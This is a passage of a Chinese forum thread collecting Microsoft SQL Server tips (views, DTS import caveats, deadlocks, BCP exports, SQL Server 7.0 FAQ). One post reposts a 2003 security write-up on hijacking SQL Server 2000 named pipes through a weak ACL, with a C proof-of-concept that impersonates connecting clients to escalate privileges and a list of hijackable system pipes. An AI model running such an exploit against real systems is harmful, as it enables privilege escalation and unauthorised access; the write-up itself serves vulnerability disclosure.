楼主: ccwlm741212

[精华] Ms SQL常见问题收集整理集(不断收集中...)

[复制链接]
求职 : 系统分析师
论坛徽章:
691
博彩大赢家
日期:2014-07-14 11:41:47博彩大赢家
日期:2015-09-24 12:11:05菠菜神灯
日期:2016-04-18 13:59:20NBA季后赛大富翁
日期:2016-04-27 11:51:10NBA季后赛大富翁
日期:2016-06-24 10:29:08芝加哥公牛
日期:2015-06-25 09:32:08芝加哥公牛
日期:2016-04-18 14:22:33芝加哥公牛
日期:2016-10-27 14:28:54芝加哥公牛
日期:2016-12-27 14:16:24芝加哥公牛
日期:2017-04-18 17:07:58
91#
 楼主| 发表于 2003-12-23 22:37 | 只看该作者
如何在视图中使用ORDER BY短语
一般在视图中使用Order by是无效的,除非使用了Top关键字,那么我们可以用Top 100 percent来欺骗SQL的语法分析器。
USE pubs
GO

CREATE VIEW AuthorsByName
AS
SELECT TOP 100 PERCENT *
FROM authors
ORDER BY au_lname, au_fname
GO

使用道具 举报

回复
求职 : 系统分析师
论坛徽章:
691
博彩大赢家
日期:2014-07-14 11:41:47博彩大赢家
日期:2015-09-24 12:11:05菠菜神灯
日期:2016-04-18 13:59:20NBA季后赛大富翁
日期:2016-04-27 11:51:10NBA季后赛大富翁
日期:2016-06-24 10:29:08芝加哥公牛
日期:2015-06-25 09:32:08芝加哥公牛
日期:2016-04-18 14:22:33芝加哥公牛
日期:2016-10-27 14:28:54芝加哥公牛
日期:2016-12-27 14:16:24芝加哥公牛
日期:2017-04-18 17:07:58
92#
 楼主| 发表于 2003-12-23 22:38 | 只看该作者
关于DTS导入导出丢失默认值等对象
使用DTS向导在SQL SERVER之间或两个数据库之间进行数据导入导出按默认值配置,则只导入导出表对象以及视图对象,象其他的比如默认值、存储过程等对象可能丢失,如果希望所有的数据库对象都在导入导出之列,请在DTS向导过程中选择“在SQL SERVER数据库复制对象和数据”,接下来就可以选择各个对象进行导入导出了

但要注意,在导的过程中容易出错,可能是由于对象创键的顺序造成的,如果出错建议分多次导,导的顺序可以为:自定义数据类型,表,视图,默认值,约束,自定义函数,存储过程等

使用道具 举报

回复
求职 : 系统分析师
论坛徽章:
691
博彩大赢家
日期:2014-07-14 11:41:47博彩大赢家
日期:2015-09-24 12:11:05菠菜神灯
日期:2016-04-18 13:59:20NBA季后赛大富翁
日期:2016-04-27 11:51:10NBA季后赛大富翁
日期:2016-06-24 10:29:08芝加哥公牛
日期:2015-06-25 09:32:08芝加哥公牛
日期:2016-04-18 14:22:33芝加哥公牛
日期:2016-10-27 14:28:54芝加哥公牛
日期:2016-12-27 14:16:24芝加哥公牛
日期:2017-04-18 17:07:58
93#
 楼主| 发表于 2003-12-23 22:38 | 只看该作者
总结 SQL Server 中死锁产生的原因及解决办法
其实所有的死锁最深层的原因就是一个:资源竞争
表现一:
一个用户A 访问表A(锁住了表A),然后又访问表B
另一个用户B 访问表B(锁住了表B),然后企图访问表A
这时用户A由于用户B已经锁住表B,它必须等待用户B释放表B,才能继续,好了他老人家就只好老老实实在这等了
同样用户B要等用户A释放表A才能继续这就死锁了
解决方法:
这种死锁是由于你的程序的BUG产生的,除了调整你的程序的逻辑别无他法
仔细分析你程序的逻辑,
1:尽量避免同时锁定两个资源
2: 必须同时锁定两个资源时,要保证在任何时刻都应该按照相同的顺序来锁定资源.

表现二:
用户A读一条纪录,然后修改该条纪录
这是用户B修改该条纪录
这里用户A的事务里锁的性质由共享锁企图上升到独占锁(for update),而用户B里的独占锁由于A有共享锁存在所以必须等A释
放掉共享锁,而A由于B的独占锁而无法上升的独占锁也就不可能释放共享锁,于是出现了死锁。
这种死锁比较隐蔽,但其实在稍大点的项目中经常发生。
解决方法:
让用户A的事务(即先读后写类型的操作),在select 时就是用Update lock
语法如下:
select * from table1 with(updlock) where ....

使用道具 举报

回复
求职 : 系统分析师
论坛徽章:
691
博彩大赢家
日期:2014-07-14 11:41:47博彩大赢家
日期:2015-09-24 12:11:05菠菜神灯
日期:2016-04-18 13:59:20NBA季后赛大富翁
日期:2016-04-27 11:51:10NBA季后赛大富翁
日期:2016-06-24 10:29:08芝加哥公牛
日期:2015-06-25 09:32:08芝加哥公牛
日期:2016-04-18 14:22:33芝加哥公牛
日期:2016-10-27 14:28:54芝加哥公牛
日期:2016-12-27 14:16:24芝加哥公牛
日期:2017-04-18 17:07:58
94#
 楼主| 发表于 2003-12-23 22:39 | 只看该作者
数据变换和转换注意事项
使用数据转换服务 (DTS) 转变或转换异类数据和目的服务器之间的数据之前,请考虑不同程序、提供程序以及驱动程序支
持数据类型和 SQL 语句的方式的变化。

当使用 Microsoft® SQL Server™ 作为数据源时,请考虑下列事项:

将 real 数据类型转换为 int 数据类型也许不能返回精确的值,因为 SQL Server 2000 只支持精确度为 6 位数字的
real 数据类型。例如,real 型数字 2147480000 可能生成 2147480065 的 int 值。


从一个文本文件将 string (DBTYPE_WSTR) 列转换为 date (DBTYPE_DATE) 或 time (DBTYPE_TIME) 列时,OLE DB 数据转
换服务组件只接受一种日期或时间格式 (yyyy-mm-dd hh:mm:ss.fffffffff)。使用日期时间字符串转换,或者使用 CDate
函数编码 Microsoft ActiveX® 脚本转换正确地转换日期。


SQL Server 2000 不支持 OLE DB 类型 DBTYPE_DATE 或 DBTYPE_TIME。SQL Server 2000 只支持 DBTYPE_DATETIME。


若要通过多步骤访问数据,请避免在转换过程中使用 temp 表。应使用全局 temp 表或在 tempdb 中创建永久表。


从 temp 表返回行的存储过程不能用作转换源。可以使用存储过程从全局 temp 表或表返回行。


在转换数据任务、数据驱动的查询任务或 DTS 设计器中的执行 SQL 任务中使用临时表时,请记住:不能使用 Transact-
SQL 语句或调用 temp 表的存储过程作为源。
该限制并不应用于 DTS 设计器的外部。可使用通过编程方式访问 SQL Server temp 表的源语句或存储过程。

DTS 导入/导出向导和 DTS 设计器
当使用 DTS 导入导出向导和 DTS 设计器创建包时,请考虑以下事项:

DTS 用户界面允许共享任务中现有的连接,但是同一个连接不能既用在一个转换的源中又用在该转换的目的中。


使用 DTS 设计器或 DTS 导入/导出向导,有可能为一些只作为数据源的提供程序指定只读或正在使用状态(例如,
Microsoft Access 和 ODBC DSN )。单击"连接属性"对话框中的"高级"选项卡,然后在"高级连接属性"对话框中,将模式
属性值设置为 1。


使用 DTS 导入/导出向导或 DTS 设计器创建表时,在目的地上创建的表的所有者为当前用户(通常是 dbo),与谁是源表
的所有者无关。这将产生这种情况:dbo 试图在目的地创建一个表,而该表的名称已经存在,从而导致尝试失败。


当使用 DTS 设计器定义数据驱动的查询时,数据目的地必须能够支持 OLE DB ICommand 接口。由于这种限制,类似文本
文件的目的不被支持。


如果 text、ntext 和 image 类型的字段长度超过 8388602 字节,则 DTS 的复制 SQL Server 对象任务将截断超出的部
分。DTS 设计器或 DTS 导入/导出向导不显示任何错误信息,而是显示任务已成功完成。
唯一的失败指示是一条写入日志文件的日志消息,此文件的名称为 <server>.<database>.log,位于"复制 SQL Server 对
象任务属性"对话框的"复制"选项卡所指定的脚本文件目录中。此日志消息详细说明表和列,但不指出发生截断的行。无任
何错误记录写入 DTS 错误文件或 SQL Server 日志。

Microsoft SNA Server
当使用 Microsoft SNA Server 作为数据源时,请考虑下列事项:

AS/400 和 VSAM 的 Microsoft OLE DB 提供程序不支持 DTS 导入/导出向导用来创建或截断表的 SQL 语句。
Microsoft Access
使用 Access 时,应考虑下列事项:

当从 SQL Server 2000 中将数据导出到 Microsoft Access 97 或更早的版本中,Access 的 Microsoft OLE DB 提供程序
在内存中为所有插入设置缓冲区,并且只在 DTS 导入/导出向导完成操作时提交它们。结果是,可以在导出大量表时,面
对内存较小的形势。然而,可以通过构造在多个传递中发送较少行数的 SELECT 语句解决该问题。
Microsoft Visual FoxPro
Microsoft Visual FoxPro&reg; 只支持 numeric 数据类型的 (15,9) 精度。如果导出到 Visual FoxPro 的数据超出该精
度,则会被截断并四舍五入。

Visual FoxPro 不支持 SELECT INTO 语句。


DTS 查询设计器支持 Visual FoxPro INSERT VALUE 语句,但不支持使用 SELECT 语句的 INSERT 语句。


ODBC 的 Microsoft OLE DB 驱动程序无法使用 FoxPro ODBC 驱动程序将 BLOB 写入 Visual FoxPro,因为 Visual
FoxPro 不支持动态游标。
ODBC
当连接到 ODBC 数据源时,请考虑下列事项:

ODBC 的 Microsoft OLE DB 提供程序在执行导出操作时需要一个在带有 BLOB 数据列的所有目标表上的唯一键。


当使用带有 SQL Server ODBC 驱动程序的 ODBC 的 Microsoft OLE DB 提供程序时,在安排带有源行集中其它数据类型的
列之后安排所有 BLOB 列。可以使用 SELECT 语句重新将 BLOB 列安排到源行集的末尾。DTS 导入/导出向导自动地执行该
操作。


重要 当使用带有 SQL Server ODBC 驱动程序的 ODBC 的 Microsoft OLE DB 提供程序时,请尝试预览带有连接忙错误的
存储过程失败。如果使用 SQL Server 的 Microsoft OLE DB 提供程序,该问题就不会发生。

如果一个用于 SQL Server 的 Microsoft ODBC 驱动程序连接由多个线程共享,此连接可能会失败,并返回错误信
息"Connection is busy with results for another hstmt"(此连接正忙于其它 hstmt 的结果)。在某些情况下,这将
影响通过 DTS 导入/导出向导生成的包。使用以下方法之一解决此问题:
将 MaxConcurrentSteps 属性设置为1 以消除竞争的线程。


创建其它的 ODBC 连接以消除连接共享。


使用用于 SQL Server 的 Microsoft OLE DB 提供程序 (SQLOLEDB) 连接数据库。如果需要连接 SQL Server 6.5 数据
库,则运行 Instcatl.sql 以启用通过用于 SQL Server 的 Microsoft OLE DB 提供程序进行访问。
Oracle
当使用 Oracle 作为数据源时,请考虑以下事项:

用于 Oracle 的 Microsoft ODBC 和 OLEDB 驱动程序支持 Oracle 7.3 BLOB 数据类型,不支持 Oracle 8.0 数据类型。
例如,不支持 BLOB、CLOB、NCLOB 和 BFILE。


用于 Oracle 的 Microsoft OBDC 驱动程序不支持将 Unicode 字符串发送到 Oracle 服务器中。Oracle 要求在 Unicode
字符串前加上前缀字母 N。


用于 Oracle 的 Microsoft OBDC 驱动程序不支持 Oracle number 数据类型的负向缩放。


用于 Oracle 的 Microsoft OBDC 驱动程序报告无指定精度的 Oracle number 数据类型的长度为 20 位数字。当从
Oracle (不考虑目的)中导入时,如果有多于 20 位的数字,并且如果目的表还不存在,可能必须手工地增加精度。


在表中 Oracle 仅支持一个 LONG (BLOB) 数据列。


不能导入或导出拥有混合或小写名称的 Oracle 列。也不能通过使用 Oracle 列名称(包含使用 DTS 导入/导出向导的空
格)来转换或复制数据。Oracle 要求精确指定并引用区分大小写的列名称。


若要在 SQL Server 2000 和 Oracle 之间执行分布式事务,必须使用 Oracle 8.0.4.1 版本或更新版本。有关更多信息,
请参见分布式事务。


由于用于 Oracle 的 Microsoft OLE DB 提供程序不支持 IcommandWithParameters,所以它不能用作数据驱动的查询任务
的目的地。在 DTS 设计器中使用此提供程序时,转换数据任务、数据驱动的查询任务以及执行 SQL 任务上的"参数"按钮
将被禁用。
IBM AS/400 上的 DB2
当连接到 DB2 数据源时,请考虑以下事项:

在 AS/400 系统上不支持 Unicode 或 BLOB。


在 AS/400 服务器上不能转换任何有 NULL 列值的表,因为 AS/400 在其 CREATE TABLE 语句中不支持 NULL 语法。然
而,如果编辑 CREATE TABLE 语法以清除对 NULL 的引用时,则可以发送 NULL 值。AS/400 不支持 NOT NULL;如果没指
定就假定为 NULL。
使用 Sybase ODBC 驱动程序
当连接到一个 Sybase ODBC 数据源时,请考虑以下事项:

当使用 DTS 导入/导出向导将数据从 SQL Server 转换到 Sybase 11 版本时:
默认情况下,SQL Server numeric (3,0) 数据类型映射为 Sybase smallmoney。为避免数据丢失,请更改此设置。


默认情况下,SQL Server numeric (18,x 或 19,x) 数据类型映射为 Sybase money 数据类型。为避免数据丢失,请更改
此设置。


将数据移动到一个新的 Sybase 表时,如果单击了"列映射和转换"对话框中的"确定"按钮,向导会返回错误信息"表已存
在"。应该忽略此消息。


不能使用 DTS 导入/导出向导除去并且重新创建 Sybase 表。必须不使用向导来执行此操作。
DTS 查询设计器不支持 Sybase SQLAnywhere CREATE TABLE 语句。


由于 SQLAnywhere 驱动程序中的限制,DTS 导入/导出向导每次只能将一个表移动到 SQLAnywhere 数据库。可以使用
DTS 设计器来克服此限制。然而,因为 SQLAnywhere 驱动程序不是安全线程,所以,必须将每个表的 Step 对象的
ExecuteInMainThread 属性设置为 True。


如果表中包含 BLOB 列,则不能将此表复制到 Sybase 目的中。


如果通过编程方式从 Sybase 中复制一个包含 image 数据类型的表,则更改默认的 BLOB 设置会导致失败。
dBase 和 Paradox
当连接到 dBase 和 Paradox 数据源时,请考虑以下事项:

dBase 和 Paradox 中的表名称被限制为八个字符。dBase 中的列名称被限制为 10 个字符。
文件导入或导出
当从文本文件导入或导出数据时,请考虑以下事项:

在 char 或 varchar 列中导入或导出数据时,如果客户端 OEM 代码页与服务器上的代码页不同,则某些扩展字符可能不
被复制。在 nchar 或 nvarchar 列中导入或导出数据时,所有字符均能正确复制。


如果将 BLOB(包括 SQL Server 的 text 和 ntext 数据类型)列导出到固定长度的文本字段中,则将默认长度设置为
BLBO 字段的最大长度(大约 2GB)。通过选择较小的但足够的字段长度来防止磁盘溢出,或者在可能的时候使用分隔格
式。


DTS 中使用的用于文本文件的 OLE DB 提供程序不能处理超过两兆字节 (MB) 的 BLOB 数据列。
代码页、排序规则和非 Unicode 数据问题
使用 DTS 在具有不同代码页和排序规则的 SQL Server 数据库间复制数据时,数据可能会丢失或转换不正确。

为避免出现转换问题,应以 Unicode 形式存储国际数据。一旦转换为 Unicode 后,便可很容易地将任何排序规则或代码
页中的数据传送到任何 Microsoft SQL Server 2000 或 Microsoft SQL Server 7.0 数据库,而不会出现数据丢失或转换
不正确这类问题。

在 Microsoft SQL Server 2000 中,排序规则与具体的代码页相关联并被指派给各个列。(Microsoft SQL Server 7.0
使用单个的默认代码页且不支持列级排序规则)。如果用于源列和目的列的代码页匹配,则非 Unicode 列不会发生数据丢
失。在非 Unicode 列间复制数据时,如果源列与目的列不匹配,则将发生数据丢失。在某些情况下,DTS 执行最佳的匹配
映射。如果源代码页包含的字符在目的代码页中未出现,则将发生数据丢失。此外,DTS 执行复制时不需要任何转换干
预,这将导致在两个代码页中不是由同一个二进制值表示的数据丢失。下面的问题及准则分别针对使用复制 SQL Server
对象任务的情况,和使用复制列转换在不同排序规则或代码页之间复制数据的情况。

复制 SQL Server 对象任务
下面论述复制 SQL Server 对象任务如何处理非 Unicode 数据:

在 SQL Server 2000 实例间复制数据时,只要设置复制 SQL Server 对象任务的 UseCollation 属性,便不会发生数据丢
失。


将数据从 SQL Server 2000 实例复制到 SQL Server 7.0 时,对于具有与数据库默认排序规则代码页相匹配的排序规则的
列,使用最佳匹配映射。而具有不同代码页的列中所存储的数据,则被解释为正在用默认代码页进行编码处理,转换过程
中将伴随数据丢失。


将数据从 SQL Server 7.0 复制到SQL Server 2000 实例时,由于 SQL Server 7.0 无法确定其默认代码页所映射的排序
规则,UseCollation 属性不可用。执行复制 SQL Server 对象任务期间不支持任何排序规则,因此,将给非 Unicode 目
的列指派目的数据库的默认排序规则。如果与此排序规则相关联的代码页与源数据库的代码页不匹配,DTS 将执行最佳匹
配映射。


将数据从 SQL Server 7.0 复制到 SQL Server 7.0 时,如果源数据库和目的数据库使用不同的默认代码页,DTS 将执行
最佳匹配映射。
若要确保复制非 Unicode 时不发生数据丢失,可使用 SQL Server 大容量复制功能以 Unicode 格式导出数据,然后使用
大容量复制或 DTS 导入数据。

若要禁用默认排序规则脚本,请添加代码或使用脱接编辑或动态属性任务将 SQLDMOScript2_70Only 的值添加到复制 SQL
Server 对象任务的 ScriptOptionEx 属性中。

复制列转换
下面论述复制列转换如何在不同代码页之间处理非 Unicode 数据:

如果源列为 Unicode 而目的列为非 Unicode,则执行最佳匹配映射,并尝试在源列和目的列之间转换数据。


如果源列为非 Unicode 而目的列为 Unicode,则不论实际使用的代码页是什么,DTS 都将源列视为属于代码页 1252。


如果源列和目的列都为非 Unicode,原始数据不经转换即被复制,将发生部分数据丢失。

使用道具 举报

回复
求职 : 系统分析师
论坛徽章:
691
博彩大赢家
日期:2014-07-14 11:41:47博彩大赢家
日期:2015-09-24 12:11:05菠菜神灯
日期:2016-04-18 13:59:20NBA季后赛大富翁
日期:2016-04-27 11:51:10NBA季后赛大富翁
日期:2016-06-24 10:29:08芝加哥公牛
日期:2015-06-25 09:32:08芝加哥公牛
日期:2016-04-18 14:22:33芝加哥公牛
日期:2016-10-27 14:28:54芝加哥公牛
日期:2016-12-27 14:16:24芝加哥公牛
日期:2017-04-18 17:07:58
95#
 楼主| 发表于 2003-12-23 22:39 | 只看该作者
如何得到一个数据库中每张表的纪录数目
USE pubs -- 可改成您的数据库名称
SET NOCOUNT ON
DECLARE tables_cursor CURSOR
FOR
SELECT name FROM sysobjects WHERE type = 'U'
OPEN tables_cursor
DECLARE @tablename varchar(30), @quote char(1)
SELECT @quote = ''''

FETCH NEXT FROM tables_cursor INTO @tablename
WHILE (@@fetch_status <> -1)
BEGIN
EXEC ('Select ' + @quote+'Rows in ' + @tablename + ' = '+ @quote + ', count(*) from '+ @tablename)
FETCH NEXT FROM tables_cursor INTO @tablename
END
DEALLOCATE tables_cursor
SET NOCOUNT OFF

使用道具 举报

回复
求职 : 系统分析师
论坛徽章:
691
博彩大赢家
日期:2014-07-14 11:41:47博彩大赢家
日期:2015-09-24 12:11:05菠菜神灯
日期:2016-04-18 13:59:20NBA季后赛大富翁
日期:2016-04-27 11:51:10NBA季后赛大富翁
日期:2016-06-24 10:29:08芝加哥公牛
日期:2015-06-25 09:32:08芝加哥公牛
日期:2016-04-18 14:22:33芝加哥公牛
日期:2016-10-27 14:28:54芝加哥公牛
日期:2016-12-27 14:16:24芝加哥公牛
日期:2017-04-18 17:07:58
96#
 楼主| 发表于 2003-12-23 22:39 | 只看该作者
SQL Server 7.0 函数及SQL语句相关问题
1 要将一个数据库的所有表格使用批通信程序取出(BCP OUT),有何较快的方法?
2 SQL Server 7.0限制的同时使用的表格和视图数目为多少?
3 SQL Server 7.0与SQL Server6.5的DMO版本不同,是否可以在SQL Server 7.0执行SQL Server 6.5的存储过程?
4 为何使用批通信程序导入(BCP IN)SQL Server 7.0 Datetime字段后, millisecond(千分之一秒)会与导入前的值不同?
5 为什么使用SQL Server 7.0的标准差函数STDEV时出现"A domain error occurred"信息?
6 如何使用SQL Server 7.0查询选取(Query Analyzer)查询Oracle数据?
7 SQL Server 7.0是否可以使用RECURSIVE TRIGGER?
8 执行xp_logininfo时出现

Server: Msg 8198, Level 16, State 10, Procedure xp_logininfo, Line 58 Could not obtain information about Windows NT group/user ''

如何解决?

要将一个数据库的所有表格使用批通信程序取出(BCP OUT),有何较快的方法?

假设您的SQLServer 计算机名称为technology1,sa密码空的,如果要将pubs使用批通信程序取出,可以参照下列步骤:

1)在Query Analyzer中执行下列指令:
select 'bcp pubs..'+name+' out'+' d:\test\'+name+'.txt -c -Stechnology1 -Usa -P' from sysobjects where type = 'U'

2)结果如下


----------------------------------------------------------------------------
bcp pubs..authors out d:\test\authors.txt -c -Stechnology1 -Usa -P
bcp pubs..publishers out d:\test\publishers.txt -c -Stechnology1 -Usa -P
bcp pubs..titles out d:\test\titles.txt -c -Stechnology1 -Usa -P
bcp pubs..titleauthor out d:\test\titleauthor.txt -c -Stechnology1 -Usa -P
bcp pubs..stores out d:\test\stores.txt -c -Stechnology1 -Usa -P
bcp pubs..sales out d:\test\sales.txt -c -Stechnology1 -Usa -P
bcp pubs..roysched out d:\test\roysched.txt -c -Stechnology1 -Usa -P
bcp pubs..discounts out d:\test\discounts.txt -c -Stechnology1 -Usa -P
bcp pubs..jobs out d:\test\jobs.txt -c -Stechnology1 -Usa -P
bcp pubs..pub_info out d:\test\pub_info.txt -c -Stechnology1 -Usa -P
bcp pubs..employee out d:\test\employee.txt -c -Stechnology1 -Usa -P
(11 row(s) affected)
3)将结果储存成文字文件,文件名为bat,将第一行的------与最后一行(11 row(s) affected)去掉。

4)在DOS下创建d:\test的子目录,并执行上述的bat文件,该bat文件将Pubs数据库中的每个表格存放到每个txt文件中


SQL Server 7.0限制的同时使用的表格和视图数目为多少?

256,SQL Server 6.5为16。

SQL Server 7.0与SQL Server6.5的DMO版本不同,是否可以在SQL Server 7.0执行SQL Server 6.5的存储过程?

可以,请将SQL Server 6.5升级到SP5a,但是无法使用SQL Server 7.0的MMC管理SQL Server 6.5。

为何使用批通信程序导入(BCP IN)SQL Server 7.0 Datetime字段后, millisecond(千分之一秒)会与导入前的值不同?

SQL Server 7.0时间的准确值为百分之三秒,所以millisecond(千分之一秒)的值为0、3或7详细请参考SQL Server 7.0 联机书籍datetime and smalldatetime (T-SQL)。

为什么使用SQL Server 7.0的标准差函数STDEV时出现"A domain error occurred"信息?

当数据为浮点数时,会因为浮点数运算不精确而造成此问题。当VAR(x) 为零时,如果计算机是用一个很小的负数表示,那么就无法开平方根运算标准差,就会出现这样的问题。当所有的数值都相等时,就很有可能出现这种错误信息。对于这种情形,建议使用下列方法: select sqrt(abs(var())) from

如何使用SQL Server 7.0查询选取(Query Analyzer)查询Oracle数据?

请参考下列示例:

先使用Oracle客户端软件设定一个网络服务名称,如:"OracleServer'﹝请参考Oracle手册﹞
在SQL Server 7.0中,使用链接的服务器连接到Oracle. 如: sp_addlinkedserver 'TESTLINK', 'Oracle', 'MSDAORA', 'OracleServer', ps. 'TESTLINK'是由您自定义的,'Oracle', 'MSDAORA'是固定的,'OracleServer'是由步骤1确定的。
在SQL Server 7.0中,使用addlinkedsrvlogin登录到Oracle. 如: sp_addlinkedsrvlogin 'TESTLINK', 'false', NULL,'OracleUsr', 'OraclePwd' ps. 'TESTLINK'是步骤2确定的,'OracleUsr'是Oracle用户名,'OraclePwd'是用户密码。
执行T-SQL语句。如: select * from <linkservername>.<dbname>.<dbo>.<dbtable>. ps.linkservername是步骤2确定的。
SQL Server 7.0是否可以使用RECURSIVE TRIGGER?

可以。

执行xp_logininfo时出现

Server: Msg 8198, Level 16, State 10, Procedure xp_logininfo, Line 58 Could not obtain information about Windows NT group/user ''

如何解决?

这是因为Windows NT的本地组或全局组与域或计算机的名称相同。

使用道具 举报

回复
求职 : 系统分析师
论坛徽章:
691
博彩大赢家
日期:2014-07-14 11:41:47博彩大赢家
日期:2015-09-24 12:11:05菠菜神灯
日期:2016-04-18 13:59:20NBA季后赛大富翁
日期:2016-04-27 11:51:10NBA季后赛大富翁
日期:2016-06-24 10:29:08芝加哥公牛
日期:2015-06-25 09:32:08芝加哥公牛
日期:2016-04-18 14:22:33芝加哥公牛
日期:2016-10-27 14:28:54芝加哥公牛
日期:2016-12-27 14:16:24芝加哥公牛
日期:2017-04-18 17:07:58
97#
 楼主| 发表于 2003-12-23 22:43 | 只看该作者
SQL SERVER 2000通讯管道后复用劫持
发一贴,我也是刚刚接触sql server。不到一个星期,最近遇到的
就是连接问题,TCP/IP连接好是出错,你们谁曾经在这方面会遇到
哪些问题能不能给我讲讲。我也发zz一篇问题,不错。还有请大家
推荐几个好的网站和电子书籍。谢谢。
SQL SERVER 2000通讯管道后复用劫持
原创:flashsky(闪空)

转摘请注明作者和安全焦点
作者:FLASHSKY
SITE:WWW.XFOCUS.NET
邮件:flashsky@xfocus.org

SQL SERVER 2000通讯中,允许使用有名管道来进行通讯,一般情况下是如此命名的:
默认实例:\\.\pipe\sql\query
命名实例:\\.\pipe\MSSQL$instancename\sql\query
也可以通过1434 UDP进行查询获得这个管道名称

但是由于SQL SERVER 2000对于这个管道的ACL设置为NULL,导致任何用户的权限都可以对这个管道进行劫持,以前的劫持都是利用先停掉服务,再建立这个名字管道,然后再启动服务来复用自己已经建立了名字的管道,但实际上SQL SERVER 2000会判断是否已有同名管道,然后会取别的名字,而且低级权限的用户也启动和停止不了服务(除非是利用一些漏洞),但是实际上对管道的测试却发现:如果ACL设置成NULL的话,即使是后命名的管道,也可以劫持先命令的管道,只需要简单复用管道,然后自己建立几个管道的连接不释放(具体建立几个估计和真正的管道
建立时的实例个数有关,如在我的测试下,\\.\pipe\sql\query只需要建立1个接可以劫持了,而\\.\pipe\lsass则需要4-5个之后才能劫持。不过\\.\pipe\lsass的ACL只能是管理员才能进行劫持)
如果攻击者复用了同名管道以后,建立起几个不释放的管道(消耗掉了正常管道的实例),然后再有客户发起的管道连接就进入了攻击者程序的管道监听流程,剩下的就是大家都知道的利用模拟函数获得发起者权限的老生常谈了:
下面就是一个简单的例子,实现对SQL SERVER 2000管道通讯的劫持
环境:SQL SERVER 2000+SP2
WIN2000 SERVER中文版+SP3
测试流程:
1。先建立SQL 服务器允许管道通讯,和集成WINDOWS 验证,添加一个具备高权限的允许SQL SERVER登陆的WINDOWS本机帐户,启动SQL SERVER服务
2。C盘下建立一个TEST.TXT文件,设置ACL为GUEST全部拒绝,其他人都许可
3。在另外一台机器B上,以添加的可以登陆SQL SERVER的服务器帐户登陆,然后设置客户端网络库只为管道(如果有多个,可能就会是随机选一个连接,而不肯定是管道进行通讯了)
4。然后用SQL SERVER企业管理器建立一个SQL SERVER的连接,使用集成WINDOWS验证
5。SQL SERVER这边的机器进入GUEST帐户运行下面C代码的程序,会显示先无法打开TEST.TXT文件,然后进行劫持,等待客户端管道连接
6。在机器B上,连接SQL SERVER,然后主机A的程序就会截获这个管道扮演高权限登陆用户,然后可以打开先没权限打开的文件。

当然这个攻击本身实际的意义可能不大,因为估计现在SQL SERVER用管道建立通讯的比较少,而且在都允许的情况下,一般会主动选择TCP方式进行连接,但同时说明了:一个缺乏很好ACL保护的管道,也可以用后发复用来进行劫持,这就减少了很多需要先停掉服务或预先预测的难题,在编写服务器端管道应用的时候也必须小心。

SQL SERVER 2000劫持代码
#include <windows.h>
#include <winbase.h>
#include <stdio.h>
#include <stdlib.h>

void main()
{
HANDLE pipea;
FILE * fp;
DWORD ret;
DWORD num;
HANDLE pipeb[100];
int i;
int dwSize ;
char szUser[256];
DWORD dwNumber = 0;
//先的测试,在GUEST权限下无法打开此文件
fp = fopen("C:\\test.txt","w";
if(fp==NULL)
printf("now you don't open file;\n";
//建立起一个同名管道,复用已存在的SQL SERVER的
pipea = CreateNamedPipe("\\\\.\\pipe\\sql\\query",
PIPE_ACCESS_DUPLEX,
PIPE_TYPE_MESSAGE|PIPE_WAIT,
100,
2048,
2048,
NMPWAIT_USE_DEFAULT_WAIT,
NULL);

if(pipea ==INVALID_HANDLE_VALUE)
{
ret = GetLastError();
printf("error in createnamedpipe!code=%d\n",ret);
return;
}
//损耗掉其他正常实例
if(WaitNamedPipe("\\\\.\\pipe\\sql\\query",NMPWAIT_WAIT_FOREVER)==0)
{
printf("no this pipe\n";
return;
}
//可以调整个数,SQL SERVER只需要调整一个就可以了
for(i=0;i<1;i++)
{
Sleep(20);
if((pipeb=CreateFile("\\\\.\\pipe\\sql\\query",GENERIC_WRITE|GENERIC_READ,0,(LPSECURITY_ATTRIBUTES)NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,(HANDLE)NULL))==INVALID_HANDLE_VALUE)
{
printf("open pipe failed\n";
return;
}
//WriteFile(pipeb,"test1",5,&num,NULL);
//WriteFile(pipeb,"test2",5,&num,NULL);
}
//然后等待连接
ConnectNamedPipe (pipea, NULL);
ReadFile(pipea, (void *) &dwNumber, 4, &dwSize, NULL);
//模拟连接进来的用户
ImpersonateNamedPipeClient (pipea);
dwSize = 256;
//获得用户信息
GetUserName(szUser, &dwSize);
printf ("Impersonating: %s\n", szUser);
//然后再测试是否能打开这个文件,证明确实提升了权限
fp = fopen("C:\\test.txt","w";
if(fp!=NULL)
printf("now you can open file\n";
DisconnectNamedPipe(pipea);
CloseHandle(pipea);
for(i=0;i<1;i++)
CloseHandle(pipeb);
return;
}

补充:
所有管道都有这个漏洞,就是看ACL能否允许你复用,只要能复用就可以
如//./pipe/lsass 我都可以劫持,但是他的ACL定义成只能administrator进行劫持
目前测试了一下默认的一些管道基本ACL设置好好,不允许低级权限用户复制,但SQL的管道显示ACL设置的很差
可能更多服务或者其他的第三方的服务中存在这样没有很好ACL保护的管道,那么就意味着后复用也可以劫持成功


下面是我开启了所有默认的WIN的服务,然后获取的系统管道测试的结果(没有开启终端服务,我机器没装,装了终端服务的可以测一下),另外也不能说没有意义,我前面看见一篇文章还专门推荐用集成验证加管道通讯获得更安全的SQL SERVER呢,嘿嘿
Pipe name (Number of instances, Maximum instances)

InitShutdown (2, -1)<---------------可以在ADMIN下劫持
net\NtControlPipe5 (1, 1)
llsrpc (2, -1) <---------------可以在ADMIN下劫持
000001e8.000 (2, -1) <-----------可以在ADMIN下劫持
net\NtControlPipe8 (1, 1)
net\NtControlPipe9 (1, 1)
ProfMapApi (2, -1)<--------------可以在ADMIN下劫持
epmapper (2, -1)<----------------可以在ADMIN下劫持
WMIEP_454 (2, -1)<---------------可以在ADMIN下劫持<------GUEST用户可劫持
WMIEP_444 (2, -1)<---------------可以在ADMIN下劫持<------GUEST用户可劫持
net\NtControlPipe11 (1, 1)
WMIEP_3c8 (2, -1)<---------------可以在ADMIN下劫持
net\NtControlPipe12 (1, 1)
net\NtControlPipe13 (1, 1)
nddeapi (2, -1)<-----------------可以在ADMIN下劫持<------GUEST用户可劫持
NetDDE (1, 1) 返回所有管道实例都忙的错误信息,不知道是否ACL设置许可复用
net\NtControlPipe14 (1, 1)
Winsock2\CatalogChangeListener-e8-0 (1, 1)<-----------------可以在ADMIN下劫持
net\NtControlPipe15 (1, 1)
Winsock2\CatalogChangeListener-574-0 (1, 1)<-----------------可以在ADMIN下劫持
WMIEP_640 (2, -1)<-----------------可以在ADMIN下劫持
Winsock2\CatalogChangeListener-640-0 (1, 1)<-----------------可以在ADMIN下劫持
net\NtControlPipe25 (1, 1)
